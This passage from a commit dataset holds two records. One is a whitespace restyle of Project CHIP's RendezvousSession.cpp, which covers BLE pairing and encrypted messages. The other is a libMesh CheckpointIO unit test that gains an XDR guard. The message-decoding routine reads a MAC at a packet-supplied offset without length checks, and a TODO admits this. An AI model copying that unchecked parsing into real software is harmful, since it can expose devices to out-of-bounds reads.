kSpake2pI2RSessionInfo,\n                                                         strlen(kSpake2pI2RSessionInfo), mSecureSession);\n    VerifyOrExit(err == CHIP_NO_ERROR, ChipLogError(Ble, \"Failed to initialize a secure session: %s\", ErrorStr(err)));\n\n    mDelegate->OnRendezvousStatusUpdate(RendezvousSessionDelegate::SecurePairingSuccess);\n    mDelegate->OnRendezvousConnectionOpened();\n\nexit:\n    return;\n}\n\nvoid RendezvousSession::OnRendezvousConnectionOpened()\n{\n    if (mParams.HasDiscriminator())\n    {\n        CHIP_ERROR err = Pair(mParams.GetLocalNodeId(), mParams.GetSetupPINCode());\n        VerifyOrExit(err == CHIP_NO_ERROR, OnPairingError(err));\n    }\n\nexit:\n    return;\n}\n\nvoid RendezvousSession::OnRendezvousConnectionClosed()\n{\n    mDelegate->OnRendezvousConnectionClosed();\n\n    if (!mParams.HasDiscriminator() && !mParams.HasConnectionObject())\n    {\n        mSecureSession.Reset();\n        CHIP_ERROR err = WaitForPairing(mParams.GetLocalNodeId(), mParams.GetSetupPINCode());\n        VerifyOrExit(err == CHIP_NO_ERROR, OnPairingError(err));\n    }\n\nexit:\n    return;\n}\n\nvoid RendezvousSession::OnRendezvousError(CHIP_ERROR err)\n{\n    mDelegate->OnRendezvousError(err);\n}\n\nvoid RendezvousSession::OnRendezvousMessageReceived(PacketBuffer * msgBuf)\n{\n    CHIP_ERROR err = CHIP_NO_ERROR;\n\n    err = mPairingInProgress ? HandlePairingMessage(msgBuf) : HandleSecureMessage(msgBuf);\n    SuccessOrExit(err);\n\nexit:\n    if (err != CHIP_NO_ERROR)\n    {\n        mPairingInProgress ? OnPairingError(err) : OnRendezvousError(err);\n    }\n}\n\nCHIP_ERROR RendezvousSession::HandlePairingMessage(PacketBuffer * msgBuf)\n{\n    CHIP_ERROR err = CHIP_NO_ERROR;\n    PacketHeader packetHeader;\n    uint16_t headerSize = 0;\n\n    err = packetHeader.Decode(msgBuf->Start(), msgBuf->DataLength(), &headerSize);\n    SuccessOrExit(err);\n\n    msgBuf->ConsumeHead(headerSize);\n\n    err = mPairingSession.HandlePeerMessage(packetHeader, msgBuf);\n    SuccessOrExit(err);\n\nexit:\n    return err;\n}\n\nCHIP_ERROR RendezvousSession::HandleIPAddressAssignment(System::PacketBuffer * buffer)\n{\n    if (IPAddress::FromString(Uint8::to_const_char(buffer->Start()), buffer->DataLength(), mDeviceAddress))\n    {\n        return CHIP_NO_ERROR;\n    }\n\n    mDelegate->OnRendezvousStatusUpdate(RendezvousSessionDelegate::NetworkProvisioningFailed);\n    return CHIP_ERROR_INVALID_ADDRESS;\n}\n\nCHIP_ERROR RendezvousSession::HandleSecureMessage(PacketBuffer * msgBuf)\n{\n    CHIP_ERROR err = CHIP_NO_ERROR;\n    PacketHeader packetHeader;\n    PayloadHeader payloadHeader;\n    MessageAuthenticationCode mac;\n    uint16_t headerSize            = 0;\n    uint8_t * data                 = nullptr;\n    uint8_t * plainText            = nullptr;\n    uint16_t len                   = 0;\n    uint16_t decodedSize           = 0;\n    uint16_t taglen                = 0;\n    System::PacketBuffer * origMsg = nullptr;\n\n    err = packetHeader.Decode(msgBuf->Start(), msgBuf->DataLength(), &headerSize);\n    SuccessOrExit(err);\n    msgBuf->ConsumeHead(headerSize);\n\n    headerSize = payloadHeader.EncodeSizeBytes();\n    data       = msgBuf->Start();\n    len        = msgBuf->TotalLength();\n\n#if CHIP_SYSTEM_CONFIG_USE_LWIP\n    \/* This is a workaround for the case where PacketBuffer payload is not\n       allocated as an inline buffer to PacketBuffer structure *\/\n    origMsg = msgBuf;\n    msgBuf  = PacketBuffer::NewWithAvailableSize(len);\n    msgBuf->SetDataLength(len, msgBuf);\n#endif\n    plainText = msgBuf->Start();\n\n    \/\/ TODO: We need length checks here!  https:\/\/github.com\/project-chip\/connectedhomeip\/issues\/2928\n    err = mac.Decode(packetHeader, &data[packetHeader.GetPayloadLength()], kMaxTagLen, &taglen);\n    SuccessOrExit(err);\n\n    len = static_cast<uint16_t>(len - taglen);\n    msgBuf->SetDataLength(len);\n\n    err = mSecureSession.Decrypt(data, len, plainText, packetHeader, payloadHeader.GetEncodePacketFlags(), mac);\n    SuccessOrExit(err);\n\n    err = payloadHeader.Decode(packetHeader.GetFlags(), plainText, headerSize, &decodedSize);\n    SuccessOrExit(err);\n    VerifyOrExit(headerSize == decodedSize, err = CHIP_ERROR_INCORRECT_STATE);\n\n    msgBuf->ConsumeHead(headerSize);\n\n    if (payloadHeader.GetProtocolID() == Protocols::kChipProtocol_NetworkProvisioning &&\n        payloadHeader.GetMessageType() == NetworkProvisioningMsgTypes::kIPAddressAssigned)\n    {\n        err = HandleIPAddressAssignment(msgBuf);\n        SuccessOrExit(err);\n\n        mDelegate->OnRendezvousStatusUpdate(RendezvousSessionDelegate::NetworkProvisioningSuccess);\n    }\n    \/\/ else .. TBD once application dependency on this message has been removed, enable the else condition \n    {\n        mDelegate->OnRendezvousMessageReceived(msgBuf);\n    }\n\n    msgBuf = nullptr;\n\nexit:\n    if (origMsg != nullptr)\n    {\n        PacketBuffer::Free(origMsg);\n    }\n\n    return err;\n}\n\nCHIP_ERROR RendezvousSession::WaitForPairing(Optional<NodeId> nodeId, uint32_t setupPINCode)\n{\n    mPairingInProgress = true;\n    return mPairingSession.WaitForPairing(setupPINCode, kSpake2p_Iteration_Count, (const unsigned char *) kSpake2pKeyExchangeSalt,\n                                          strlen(kSpake2pKeyExchangeSalt), nodeId, 0, this);\n}\n\nCHIP_ERROR RendezvousSession::Pair(Optional<NodeId> nodeId, uint32_t setupPINCode)\n{\n    mPairingInProgress = true;\n    return mPairingSession.Pair(setupPINCode, kSpake2p_Iteration_Count, (const unsigned char *) kSpake2pKeyExchangeSalt,\n                                strlen(kSpake2pKeyExchangeSalt), nodeId, mNextKeyId++, this);\n}\n\n} \/\/ namespace chip\n<commit_msg>Restyled by whitespace<commit_after>\/*\n *\n *    Copyright (c) 2020 Project CHIP Authors\n *\n *    Licensed under the Apache License, Version 2.0 (the \"License\");\n *    you may not use this file except in compliance with the License.\n *    You may obtain a copy of the License at\n *\n *        http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *    Unless required by applicable law or agreed to in writing, software\n *    distributed under the License is distributed on an \"AS IS\" BASIS,\n *    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *    See the License for the specific language governing permissions and\n *    limitations under the License.\n *\/\n\n#include <core\/CHIPSafeCasts.h>\n#include <support\/CodeUtils.h>\n#include <support\/ErrorStr.h>\n#include <support\/SafeInt.h>\n#include <transport\/RendezvousSession.h>\n\n#if CONFIG_NETWORK_LAYER_BLE\n#include <transport\/BLE.h>\n#endif \/\/ CONFIG_NETWORK_LAYER_BLE\n\nstatic const size_t kMax_SecureSDU_Length          = 1024;\nstatic constexpr uint32_t kSpake2p_Iteration_Count = 50000;\nstatic const char * kSpake2pKeyExchangeSalt        = \"SPAKE2P Key Exchange Salt\";\n\nnamespace chip {\n\nenum NetworkProvisioningMsgTypes : uint8_t\n{\n    kWiFiAssociationRequest = 0,\n    kIPAddressAssigned      = 1,\n};\n\nCHIP_ERROR RendezvousSession::Init()\n{\n    CHIP_ERROR err = CHIP_NO_ERROR;\n\n    mParams = params;\n    VerifyOrExit(mDelegate != nullptr, err = CHIP_ERROR_INCORRECT_STATE);\n    VerifyOrExit(mParams.HasLocalNodeId(), err = CHIP_ERROR_INVALID_ARGUMENT);\n    VerifyOrExit(mParams.HasSetupPINCode(), err = CHIP_ERROR_INVALID_ARGUMENT);\n\n    err = CHIP_ERROR_UNSUPPORTED_CHIP_FEATURE;\n#if CONFIG_NETWORK_LAYER_BLE\n    {\n        Transport::BLE * transport = new Transport::BLE();\n        err                        = transport->Init(this, mParams);\n        mTransport                 = transport;\n        mTransport->Retain();\n        transport->Release();\n    }\n#endif \/\/ CONFIG_NETWORK_LAYER_BLE\n    SuccessOrExit(err);\n\n    if (mParams.HasDiscriminator() == false)\n    {\n        err = WaitForPairing(mParams.GetLocalNodeId(), mParams.GetSetupPINCode());\n    }\n\nexit:\n    return err;\n}\n\nRendezvousSession::~RendezvousSession()\n{\n    if (mTransport)\n    {\n        mTransport->Release();\n        mTransport = nullptr;\n    }\n\n    mDelegate = nullptr;\n}\n\nCHIP_ERROR RendezvousSession::SendMessage(System::PacketBuffer * msgBuf)\n{\n    CHIP_ERROR err = mPairingInProgress ? SendPairingMessage(msgBuf)\n                                        : SendSecureMessage(Protocols::kChipProtocol_NetworkProvisioning,\n                                                            NetworkProvisioningMsgTypes::kWiFiAssociationRequest, msgBuf);\n    SuccessOrExit(err);\n\nexit:\n    if (err != CHIP_NO_ERROR)\n    {\n        mPairingInProgress ? OnPairingError(err) : OnRendezvousError(err);\n    }\n    return err;\n}\n\nCHIP_ERROR RendezvousSession::AssignedIPAddress(IPAddress & deviceAddr)\n{\n    CHIP_ERROR err                = CHIP_NO_ERROR;\n    System::PacketBuffer * buffer = System::PacketBuffer::New();\n\n    char * addrStr = deviceAddr.ToString(Uint8::to_char(buffer->Start()), buffer->AvailableDataLength());\n    VerifyOrExit(addrStr != nullptr, err = CHIP_ERROR_INVALID_ADDRESS);\n\n    buffer->SetDataLength(strlen(addrStr) + 1);\n\n    err = SendSecureMessage(Protocols::kChipProtocol_NetworkProvisioning, NetworkProvisioningMsgTypes::kIPAddressAssigned, buffer);\n    SuccessOrExit(err);\n\n    mDeviceAddress = deviceAddr;\n    return err;\n\nexit:\n    OnRendezvousError(err);\n    return err;\n}\n\nCHIP_ERROR RendezvousSession::SendPairingMessage(System::PacketBuffer * msgBuf)\n{\n    CHIP_ERROR err = CHIP_NO_ERROR;\n    PacketHeader header;\n    uint16_t headerSize = 0;\n\n    VerifyOrExit(msgBuf != nullptr, err = CHIP_ERROR_INVALID_ARGUMENT);\n    VerifyOrExit(msgBuf->Next() == nullptr, err = CHIP_ERROR_INVALID_MESSAGE_LENGTH);\n\n    err = header.Decode(msgBuf->Start(), msgBuf->DataLength(), &headerSize);\n    SuccessOrExit(err);\n\n    msgBuf->ConsumeHead(headerSize);\n    err = mTransport->SendMessage(header, Header::Flags::None(), Transport::PeerAddress::BLE(), msgBuf);\n    SuccessOrExit(err);\n\nexit:\n    return err;\n}\n\nCHIP_ERROR RendezvousSession::SendSecureMessage(Protocols::CHIPProtocolId protocol, uint8_t msgType, System::PacketBuffer * msgBuf)\n{\n    CHIP_ERROR err = CHIP_NO_ERROR;\n    PacketHeader packetHeader;\n    PayloadHeader payloadHeader;\n    MessageAuthenticationCode mac;\n    const uint16_t headerSize = payloadHeader.EncodeSizeBytes();\n    uint16_t actualEncodedHeaderSize;\n    uint8_t * data    = nullptr;\n    uint16_t totalLen = 0;\n    uint16_t taglen   = 0;\n\n    VerifyOrExit(msgBuf != nullptr, err = CHIP_ERROR_INVALID_ARGUMENT);\n    VerifyOrExit(msgBuf->Next() == nullptr, err = CHIP_ERROR_INVALID_MESSAGE_LENGTH);\n    VerifyOrExit(msgBuf->TotalLength() < kMax_SecureSDU_Length, err = CHIP_ERROR_INVALID_MESSAGE_LENGTH);\n    VerifyOrExit(CanCastTo<uint16_t>(headerSize + msgBuf->TotalLength()), err = CHIP_ERROR_INVALID_MESSAGE_LENGTH);\n\n    packetHeader\n        .SetSourceNodeId(mParams.GetLocalNodeId())           \/\/\n        .SetMessageId(mSecureMessageIndex)                   \/\/\n        .SetEncryptionKeyID(mPairingSession.GetLocalKeyId()) \/\/\n        .SetPayloadLength(static_cast<uint16_t>(headerSize + msgBuf->TotalLength()));\n\n    payloadHeader.SetProtocolID(protocol).SetMessageType(msgType);\n\n    VerifyOrExit(msgBuf->EnsureReservedSize(headerSize), err = CHIP_ERROR_NO_MEMORY);\n\n    msgBuf->SetStart(msgBuf->Start() - headerSize);\n    data     = msgBuf->Start();\n    totalLen = msgBuf->TotalLength();\n\n    err = payloadHeader.Encode(data, totalLen, &actualEncodedHeaderSize);\n    SuccessOrExit(err);\n\n    err = mSecureSession.Encrypt(data, totalLen, data, packetHeader, payloadHeader.GetEncodePacketFlags(), mac);\n    SuccessOrExit(err);\n\n    err = mac.Encode(packetHeader, &data[totalLen], kMaxTagLen, &taglen);\n    SuccessOrExit(err);\n\n    VerifyOrExit(CanCastTo<uint16_t>(totalLen + taglen), err = CHIP_ERROR_INVALID_MESSAGE_LENGTH);\n    msgBuf->SetDataLength(static_cast<uint16_t>(totalLen + taglen));\n\n    err = mTransport->SendMessage(packetHeader, payloadHeader.GetEncodePacketFlags(), Transport::PeerAddress::BLE(), msgBuf);\n    SuccessOrExit(err);\n\n    mSecureMessageIndex++;\n    msgBuf = nullptr;\n\nexit:\n    return err;\n}\n\nvoid RendezvousSession::OnPairingError(CHIP_ERROR err)\n{\n    mPairingInProgress = false;\n    mDelegate->OnRendezvousError(err);\n    mDelegate->OnRendezvousStatusUpdate(RendezvousSessionDelegate::SecurePairingFailed);\n}\n\nvoid RendezvousSession::OnPairingComplete()\n{\n    mPairingInProgress = false;\n\n    CHIP_ERROR err = mPairingSession.DeriveSecureSession((const unsigned char *) kSpake2pI2RSessionInfo,\n                                                         strlen(kSpake2pI2RSessionInfo), mSecureSession);\n    VerifyOrExit(err == CHIP_NO_ERROR, ChipLogError(Ble, \"Failed to initialize a secure session: %s\", ErrorStr(err)));\n\n    mDelegate->OnRendezvousStatusUpdate(RendezvousSessionDelegate::SecurePairingSuccess);\n    mDelegate->OnRendezvousConnectionOpened();\n\nexit:\n    return;\n}\n\nvoid RendezvousSession::OnRendezvousConnectionOpened()\n{\n    if (mParams.HasDiscriminator())\n    {\n        CHIP_ERROR err = Pair(mParams.GetLocalNodeId(), mParams.GetSetupPINCode());\n        VerifyOrExit(err == CHIP_NO_ERROR, OnPairingError(err));\n    }\n\nexit:\n    return;\n}\n\nvoid RendezvousSession::OnRendezvousConnectionClosed()\n{\n    mDelegate->OnRendezvousConnectionClosed();\n\n    if (!mParams.HasDiscriminator() && !mParams.HasConnectionObject())\n    {\n        mSecureSession.Reset();\n        CHIP_ERROR err = WaitForPairing(mParams.GetLocalNodeId(), mParams.GetSetupPINCode());\n        VerifyOrExit(err == CHIP_NO_ERROR, OnPairingError(err));\n    }\n\nexit:\n    return;\n}\n\nvoid RendezvousSession::OnRendezvousError(CHIP_ERROR err)\n{\n    mDelegate->OnRendezvousError(err);\n}\n\nvoid RendezvousSession::OnRendezvousMessageReceived(PacketBuffer * msgBuf)\n{\n    CHIP_ERROR err = CHIP_NO_ERROR;\n\n    err = mPairingInProgress ? HandlePairingMessage(msgBuf) : HandleSecureMessage(msgBuf);\n    SuccessOrExit(err);\n\nexit:\n    if (err != CHIP_NO_ERROR)\n    {\n        mPairingInProgress ? OnPairingError(err) : OnRendezvousError(err);\n    }\n}\n\nCHIP_ERROR RendezvousSession::HandlePairingMessage(PacketBuffer * msgBuf)\n{\n    CHIP_ERROR err = CHIP_NO_ERROR;\n    PacketHeader packetHeader;\n    uint16_t headerSize = 0;\n\n    err = packetHeader.Decode(msgBuf->Start(), msgBuf->DataLength(), &headerSize);\n    SuccessOrExit(err);\n\n    msgBuf->ConsumeHead(headerSize);\n\n    err = mPairingSession.HandlePeerMessage(packetHeader, msgBuf);\n    SuccessOrExit(err);\n\nexit:\n    return err;\n}\n\nCHIP_ERROR RendezvousSession::HandleIPAddressAssignment(System::PacketBuffer * buffer)\n{\n    if (IPAddress::FromString(Uint8::to_const_char(buffer->Start()), buffer->DataLength(), mDeviceAddress))\n    {\n        return CHIP_NO_ERROR;\n    }\n\n    mDelegate->OnRendezvousStatusUpdate(RendezvousSessionDelegate::NetworkProvisioningFailed);\n    return CHIP_ERROR_INVALID_ADDRESS;\n}\n\nCHIP_ERROR RendezvousSession::HandleSecureMessage(PacketBuffer * msgBuf)\n{\n    CHIP_ERROR err = CHIP_NO_ERROR;\n    PacketHeader packetHeader;\n    PayloadHeader payloadHeader;\n    MessageAuthenticationCode mac;\n    uint16_t headerSize            = 0;\n    uint8_t * data                 = nullptr;\n    uint8_t * plainText            = nullptr;\n    uint16_t len                   = 0;\n    uint16_t decodedSize           = 0;\n    uint16_t taglen                = 0;\n    System::PacketBuffer * origMsg = nullptr;\n\n    err = packetHeader.Decode(msgBuf->Start(), msgBuf->DataLength(), &headerSize);\n    SuccessOrExit(err);\n    msgBuf->ConsumeHead(headerSize);\n\n    headerSize = payloadHeader.EncodeSizeBytes();\n    data       = msgBuf->Start();\n    len        = msgBuf->TotalLength();\n\n#if CHIP_SYSTEM_CONFIG_USE_LWIP\n    \/* This is a workaround for the case where PacketBuffer payload is not\n       allocated as an inline buffer to PacketBuffer structure *\/\n    origMsg = msgBuf;\n    msgBuf  = PacketBuffer::NewWithAvailableSize(len);\n    msgBuf->SetDataLength(len, msgBuf);\n#endif\n    plainText = msgBuf->Start();\n\n    \/\/ TODO: We need length checks here!  https:\/\/github.com\/project-chip\/connectedhomeip\/issues\/2928\n    err = mac.Decode(packetHeader, &data[packetHeader.GetPayloadLength()], kMaxTagLen, &taglen);\n    SuccessOrExit(err);\n\n    len = static_cast<uint16_t>(len - taglen);\n    msgBuf->SetDataLength(len);\n\n    err = mSecureSession.Decrypt(data, len, plainText, packetHeader, payloadHeader.GetEncodePacketFlags(), mac);\n    SuccessOrExit(err);\n\n    err = payloadHeader.Decode(packetHeader.GetFlags(), plainText, headerSize, &decodedSize);\n    SuccessOrExit(err);\n    VerifyOrExit(headerSize == decodedSize, err = CHIP_ERROR_INCORRECT_STATE);\n\n    msgBuf->ConsumeHead(headerSize);\n\n    if (payloadHeader.GetProtocolID() == Protocols::kChipProtocol_NetworkProvisioning &&\n        payloadHeader.GetMessageType() == NetworkProvisioningMsgTypes::kIPAddressAssigned)\n    {\n        err = HandleIPAddressAssignment(msgBuf);\n        SuccessOrExit(err);\n\n        mDelegate->OnRendezvousStatusUpdate(RendezvousSessionDelegate::NetworkProvisioningSuccess);\n    }\n    \/\/ else .. TBD once application dependency on this message has been removed, enable the else condition\n    {\n        mDelegate->OnRendezvousMessageReceived(msgBuf);\n    }\n\n    msgBuf = nullptr;\n\nexit:\n    if (origMsg != nullptr)\n    {\n        PacketBuffer::Free(origMsg);\n    }\n\n    return err;\n}\n\nCHIP_ERROR RendezvousSession::WaitForPairing(Optional<NodeId> nodeId, uint32_t setupPINCode)\n{\n    mPairingInProgress = true;\n    return mPairingSession.WaitForPairing(setupPINCode, kSpake2p_Iteration_Count, (const unsigned char *) kSpake2pKeyExchangeSalt,\n                                          strlen(kSpake2pKeyExchangeSalt), nodeId, 0, this);\n}\n\nCHIP_ERROR RendezvousSession::Pair(Optional<NodeId> nodeId, uint32_t setupPINCode)\n{\n    mPairingInProgress = true;\n    return mPairingSession.Pair(setupPINCode, kSpake2p_Iteration_Count, (const unsigned char *) kSpake2pKeyExchangeSalt,\n                                strlen(kSpake2pKeyExchangeSalt), nodeId, mNextKeyId++, this);\n}\n\n} \/\/ namespace chip\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Ignore unused parameter warnings coming from cppunit headers\n#include <libmesh\/ignore_warnings.h>\n#include <cppunit\/extensions\/HelperMacros.h>\n#include <cppunit\/TestCase.h>\n#include <libmesh\/restore_warnings.h>\n\n#include \"libmesh\/distributed_mesh.h\"\n#include \"libmesh\/replicated_mesh.h\"\n#include \"libmesh\/checkpoint_io.h\"\n#include \"libmesh\/mesh_generation.h\"\n#include \"libmesh\/partitioner.h\"\n\n#include \"test_comm.h\"\n\n\/\/ THE CPPUNIT_TEST_SUITE_END macro expands to code that involves\n\/\/ std::auto_ptr, which in turn produces -Wdeprecated-declarations\n\/\/ warnings.  These can be ignored in GCC as long as we wrap the\n\/\/ offending code in appropriate pragmas.  We can't get away with a\n\/\/ single ignore_warnings.h inclusion at the beginning of this file,\n\/\/ since the libmesh headers pull in a restore_warnings.h at some\n\/\/ point.  We also don't bother restoring warnings at the end of this\n\/\/ file since it's not a header.\n#include <libmesh\/ignore_warnings.h>\n\nusing namespace libMesh;\n\nclass CheckpointIOTest : public CppUnit::TestCase {\n  \/**\n   * This test verifies that we can write files with the CheckpointIO object.\n   *\/\npublic:\n  CPPUNIT_TEST_SUITE( CheckpointIOTest );\n\n  CPPUNIT_TEST( testAsciiDistRepSplitter );\n  CPPUNIT_TEST( testBinaryDistRepSplitter );\n  CPPUNIT_TEST( testAsciiRepDistSplitter );\n  CPPUNIT_TEST( testBinaryRepDistSplitter );\n  CPPUNIT_TEST( testAsciiRepRepSplitter );\n  CPPUNIT_TEST( testBinaryRepRepSplitter );\n  CPPUNIT_TEST( testAsciiDistDistSplitter );\n  CPPUNIT_TEST( testBinaryDistDistSplitter );\n\n  CPPUNIT_TEST_SUITE_END();\n\nprotected:\n\npublic:\n  void setUp()\n  {\n  }\n\n  void tearDown()\n  {\n  }\n\n  \/\/ Test that we can write multiple checkpoint files from a single processor.\n  template <typename MeshA, typename MeshB>\n  void testSplitter(bool binary, bool using_distmesh)\n  {\n    \/\/ In this test, we partition the mesh into n_procs parts.  Don't\n    \/\/ try to partition a DistributedMesh into more parts than we have\n    \/\/ processors, though.\n    const unsigned int n_procs = using_distmesh ?\n      std::min(static_cast<unsigned int>(2), TestCommWorld->size()) :\n      2;\n\n    \/\/ The number of elements in the original mesh.  For verification\n    \/\/ later.\n    dof_id_type original_n_elem = 0;\n\n    const std::string filename =\n      std::string(\"checkpoint_splitter.cp\") + (binary ? \"r\" : \"a\");\n\n    {\n      MeshA mesh(*TestCommWorld);\n\n      MeshTools::Generation::build_square(mesh,\n                                          4,  4,\n                                          0., 1.,\n                                          0., 1.,\n                                          QUAD4);\n\n      \/\/ Store the number of elements that were in the original mesh.\n      original_n_elem = mesh.n_elem();\n\n      \/\/ Partition the mesh into n_procs pieces\n      mesh.partition(n_procs);\n\n      \/\/ Write out checkpoint files for each piece.  Since on a\n      \/\/ ReplicatedMesh we might have more pieces than we do\n      \/\/ processors, some processors may have to write out more than\n      \/\/ one piece.\n      CheckpointIO cpr(mesh);\n      cpr.current_processor_ids().clear();\n      for (processor_id_type pid = mesh.processor_id(); pid < n_procs; pid += mesh.n_processors())\n        cpr.current_processor_ids().push_back(pid);\n      cpr.current_n_processors() = n_procs;\n      cpr.binary() = binary;\n      cpr.parallel() = true;\n      cpr.write(filename);\n    }\n\n    TestCommWorld->barrier();\n\n    \/\/ Test that we can read in the files we wrote and sum up to the\n    \/\/ same total number of elements.\n    {\n      MeshB mesh(*TestCommWorld);\n      CheckpointIO cpr(mesh);\n      cpr.binary() = binary;\n      cpr.read(filename);\n\n      std::size_t read_in_elements = 0;\n\n      for (unsigned pid=mesh.processor_id(); pid<n_procs; pid += mesh.n_processors())\n        {\n          read_in_elements += std::distance(mesh.pid_elements_begin(pid),\n                                            mesh.pid_elements_end(pid));\n        }\n      mesh.comm().sum(read_in_elements);\n\n      \/\/ Verify that we read in exactly as many elements as we started with.\n      CPPUNIT_ASSERT_EQUAL(static_cast<dof_id_type>(read_in_elements), original_n_elem);\n    }\n  }\n\n  void testAsciiDistRepSplitter()\n  {\n    testSplitter<DistributedMesh, ReplicatedMesh>(false, true);\n  }\n\n  void testBinaryDistRepSplitter()\n  {\n    testSplitter<DistributedMesh, ReplicatedMesh>(true, true);\n  }\n\n  void testAsciiRepDistSplitter()\n  {\n    testSplitter<ReplicatedMesh, DistributedMesh>(false, true);\n  }\n\n  void testBinaryRepDistSplitter()\n  {\n    testSplitter<ReplicatedMesh, DistributedMesh>(true, true);\n  }\n\n  void testAsciiRepRepSplitter()\n  {\n    testSplitter<ReplicatedMesh, ReplicatedMesh>(false, false);\n  }\n\n  void testBinaryRepRepSplitter()\n  {\n    testSplitter<ReplicatedMesh, ReplicatedMesh>(true, false);\n  }\n\n  void testAsciiDistDistSplitter()\n  {\n    testSplitter<DistributedMesh, DistributedMesh>(false, true);\n  }\n\n  void testBinaryDistDistSplitter()\n  {\n    testSplitter<DistributedMesh, DistributedMesh>(true, true);\n  }\n\n};\n\nCPPUNIT_TEST_SUITE_REGISTRATION( CheckpointIOTest );\n<commit_msg>The CheckPointIO splitter unit tests require XDR.<commit_after>\/\/ Ignore unused parameter warnings coming from cppunit headers\n#include <libmesh\/ignore_warnings.h>\n#include <cppunit\/extensions\/HelperMacros.h>\n#include <cppunit\/TestCase.h>\n#include <libmesh\/restore_warnings.h>\n\n#include \"libmesh\/distributed_mesh.h\"\n#include \"libmesh\/replicated_mesh.h\"\n#include \"libmesh\/checkpoint_io.h\"\n#include \"libmesh\/mesh_generation.h\"\n#include \"libmesh\/partitioner.h\"\n\n#include \"test_comm.h\"\n\n\/\/ THE CPPUNIT_TEST_SUITE_END macro expands to code that involves\n\/\/ std::auto_ptr, which in turn produces -Wdeprecated-declarations\n\/\/ warnings.  These can be ignored in GCC as long as we wrap the\n\/\/ offending code in appropriate pragmas.  We can't get away with a\n\/\/ single ignore_warnings.h inclusion at the beginning of this file,\n\/\/ since the libmesh headers pull in a restore_warnings.h at some\n\/\/ point.  We also don't bother restoring warnings at the end of this\n\/\/ file since it's not a header.\n#include <libmesh\/ignore_warnings.h>\n\nusing namespace libMesh;\n\nclass CheckpointIOTest : public CppUnit::TestCase {\n  \/**\n   * This test verifies that we can write files with the CheckpointIO object.\n   *\/\npublic:\n  CPPUNIT_TEST_SUITE( CheckpointIOTest );\n\n  CPPUNIT_TEST( testAsciiDistRepSplitter );\n  CPPUNIT_TEST( testBinaryDistRepSplitter );\n  CPPUNIT_TEST( testAsciiRepDistSplitter );\n  CPPUNIT_TEST( testBinaryRepDistSplitter );\n  CPPUNIT_TEST( testAsciiRepRepSplitter );\n  CPPUNIT_TEST( testBinaryRepRepSplitter );\n  CPPUNIT_TEST( testAsciiDistDistSplitter );\n  CPPUNIT_TEST( testBinaryDistDistSplitter );\n\n  CPPUNIT_TEST_SUITE_END();\n\nprotected:\n\npublic:\n  void setUp()\n  {\n  }\n\n  void tearDown()\n  {\n  }\n\n  \/\/ Test that we can write multiple checkpoint files from a single processor.\n  template <typename MeshA, typename MeshB>\n  void testSplitter(bool binary, bool using_distmesh)\n  {\n    \/\/ The CheckpointIO-based spltter requires XDR.\n#ifdef LIBMESH_HAVE_XDR\n\n    \/\/ In this test, we partition the mesh into n_procs parts.  Don't\n    \/\/ try to partition a DistributedMesh into more parts than we have\n    \/\/ processors, though.\n    const unsigned int n_procs = using_distmesh ?\n      std::min(static_cast<unsigned int>(2), TestCommWorld->size()) :\n      2;\n\n    \/\/ The number of elements in the original mesh.  For verification\n    \/\/ later.\n    dof_id_type original_n_elem = 0;\n\n    const std::string filename =\n      std::string(\"checkpoint_splitter.cp\") + (binary ? \"r\" : \"a\");\n\n    {\n      MeshA mesh(*TestCommWorld);\n\n      MeshTools::Generation::build_square(mesh,\n                                          4,  4,\n                                          0., 1.,\n                                          0., 1.,\n                                          QUAD4);\n\n      \/\/ Store the number of elements that were in the original mesh.\n      original_n_elem = mesh.n_elem();\n\n      \/\/ Partition the mesh into n_procs pieces\n      mesh.partition(n_procs);\n\n      \/\/ Write out checkpoint files for each piece.  Since on a\n      \/\/ ReplicatedMesh we might have more pieces than we do\n      \/\/ processors, some processors may have to write out more than\n      \/\/ one piece.\n      CheckpointIO cpr(mesh);\n      cpr.current_processor_ids().clear();\n      for (processor_id_type pid = mesh.processor_id(); pid < n_procs; pid += mesh.n_processors())\n        cpr.current_processor_ids().push_back(pid);\n      cpr.current_n_processors() = n_procs;\n      cpr.binary() = binary;\n      cpr.parallel() = true;\n      cpr.write(filename);\n    }\n\n    TestCommWorld->barrier();\n\n    \/\/ Test that we can read in the files we wrote and sum up to the\n    \/\/ same total number of elements.\n    {\n      MeshB mesh(*TestCommWorld);\n      CheckpointIO cpr(mesh);\n      cpr.binary() = binary;\n      cpr.read(filename);\n\n      std::size_t read_in_elements = 0;\n\n      for (unsigned pid=mesh.processor_id(); pid<n_procs; pid += mesh.n_processors())\n        {\n          read_in_elements += std::distance(mesh.pid_elements_begin(pid),\n                                            mesh.pid_elements_end(pid));\n        }\n      mesh.comm().sum(read_in_elements);\n\n      \/\/ Verify that we read in exactly as many elements as we started with.\n      CPPUNIT_ASSERT_EQUAL(static_cast<dof_id_type>(read_in_elements), original_n_elem);\n    }\n#endif \/\/ LIBMESH_HAVE_XDR\n  }\n\n  void testAsciiDistRepSplitter()\n  {\n    testSplitter<DistributedMesh, ReplicatedMesh>(false, true);\n  }\n\n  void testBinaryDistRepSplitter()\n  {\n    testSplitter<DistributedMesh, ReplicatedMesh>(true, true);\n  }\n\n  void testAsciiRepDistSplitter()\n  {\n    testSplitter<ReplicatedMesh, DistributedMesh>(false, true);\n  }\n\n  void testBinaryRepDistSplitter()\n  {\n    testSplitter<ReplicatedMesh, DistributedMesh>(true, true);\n  }\n\n  void testAsciiRepRepSplitter()\n  {\n    testSplitter<ReplicatedMesh, ReplicatedMesh>(false, false);\n  }\n\n  void testBinaryRepRepSplitter()\n  {\n    testSplitter<ReplicatedMesh, ReplicatedMesh>(true, false);\n  }\n\n  void testAsciiDistDistSplitter()\n  {\n    testSplitter<DistributedMesh, DistributedMesh>(false, true);\n  }\n\n  void testBinaryDistDistSplitter()\n  {\n    testSplitter<DistributedMesh, DistributedMesh>(true, true);\n  }\n\n};\n\nCPPUNIT_TEST_SUITE_REGISTRATION( CheckpointIOTest );\n<|endoftext|>"}
